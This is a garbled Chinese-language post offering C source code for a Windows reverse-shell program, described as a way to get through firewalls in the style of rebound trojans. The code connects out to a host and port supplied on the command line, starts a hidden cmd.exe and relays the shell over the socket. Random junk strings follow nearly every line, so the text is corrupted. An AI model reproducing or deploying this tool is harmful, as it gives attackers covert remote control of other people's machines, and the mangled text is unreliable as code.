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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 c_fx,; ;  
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/* ============================== hK,e<?N^  
Rebound port in Windows NT 'xUyGj:  
By wind,2006/7 |nN{XjNfP5  
===============================*/ .#,!&Lt  
#include E2s lpo  
#include 3YG[~o|4  
W(oJ{R&m{  
#pragma comment(lib,"wsock32.lib") Z. ))=w6G  
H?~|Uj 6  
void OutputShell(); "i\rhX  
SOCKET sClient; <#s=78 g.3  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +P?!yH,n  
iwnctI  
void main(int argc,char **argv) JM-spi o  
{ G6C#M-S  
WSADATA stWsaData; mTcopyp  
int nRet; Q2c|sK8  
SOCKADDR_IN stSaiClient,stSaiServer; 9+G.86Iky  
0^41dfdE  
if(argc != 3) 2F0@M|'  
{ prvvr;Ib  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8\?7k  
return; "lcNjyU\O  
} }Km+5'G'U  
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WSAStartup(MAKEWORD(2,2),&stWsaData); l,n0=Ew  
'~HCYE:5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); G x;U 3iV  
Q k e8BRBn  
stSaiClient.sin_family = AF_INET; ~C1lbn b  
stSaiClient.sin_port = htons(0); _d#1muZ?p|  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^ lrq`1k  
:a M ZJm  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3;@/`Z_\lt  
{ "|?zQ?E  
printf("Bind Socket Failed!\n"); %#xdD2oN  
return; 5OUGln5  
} ]Ek6EuaK  
hk =nXv2M  
stSaiServer.sin_family = AF_INET; g.wp }fz  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); n[~kcF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); J*Dt\[X  
b&AGVWhh  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E+LAE/v@  
{ Aofk<O!M  
printf("Connect Error!"); OAoTsqj6  
return; {BkTJQ)  
} snPM&  
OutputShell(); v6Vieo=  
} ^P4q6BW  
S$ u`)BG):  
void OutputShell() b@GL*Z  
{ |mx)W}  
char szBuff[1024]; i2. +E&3v  
SECURITY_ATTRIBUTES stSecurityAttributes; [BPK0  
OSVERSIONINFO stOsversionInfo; > -P UY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; v|IPus|>  
STARTUPINFO stStartupInfo; q"Ct=d  
char *szShell; Z>0a?=1[  
PROCESS_INFORMATION stProcessInformation; Z~&$s  
unsigned long lBytesRead; N_ 3$B=  
\"L ;Ct 8  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);  rG#o*oA  
W 9i}w&  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :%_*C09  
stSecurityAttributes.lpSecurityDescriptor = 0; 5k%Gj T  
stSecurityAttributes.bInheritHandle = TRUE; 1~J:hjKQ  
/INjP~C  
I},]Y~Y3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MHl ffj  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); MR=dQc  
|p4D!M+$7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6wIo95`  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; yf > rG  
stStartupInfo.wShowWindow = SW_HIDE; 4Ss4jUj  
stStartupInfo.hStdInput = hReadPipe; ;rp("<g:>  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xIOYwVC  
p"%K(NL  
GetVersionEx(&stOsversionInfo); caG5S#8-"  
V/p+Xv(Zt  
switch(stOsversionInfo.dwPlatformId) l(irNKutgo  
{ !hMD>B2Z  
case 1: }da}vR"iL  
szShell = "command.com"; Th\w#%'N  
break; )Y@E5Tuk>  
default: |M8FMH[_  
szShell = "cmd.exe"; bD2):U*Fzo  
break; xE$>;30b_  
} U z*7J  
L<7KmN4VX  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3I"xuKxc  
UFE# J  
send(sClient,szMsg,77,0); )9pRT dT  
while(1) =,MX%-2  
{ k},@2#W]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (h8RthQt  
if(lBytesRead) Kia34 ~W  
{ `@_j Do  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); \!51I./Q/  
send(sClient,szBuff,lBytesRead,0); {wp~  
} )ajF ca@v  
else =<BPoGs5  
{ Th'B5:`  
lBytesRead=recv(sClient,szBuff,1024,0); 8|cQW-L  
if(lBytesRead<=0) break; qS9z0HLE  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ii.0Bul  
} |8{c|Qz  
} d`w3I`P1  
Hf$pwfGcY]  
return; >s%&t[r6  
}
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